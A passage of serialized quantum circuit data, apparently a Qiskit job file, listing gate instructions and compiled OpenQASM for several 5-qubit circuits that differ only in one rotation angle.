'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1233', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.4000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1235', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1237', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1239', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 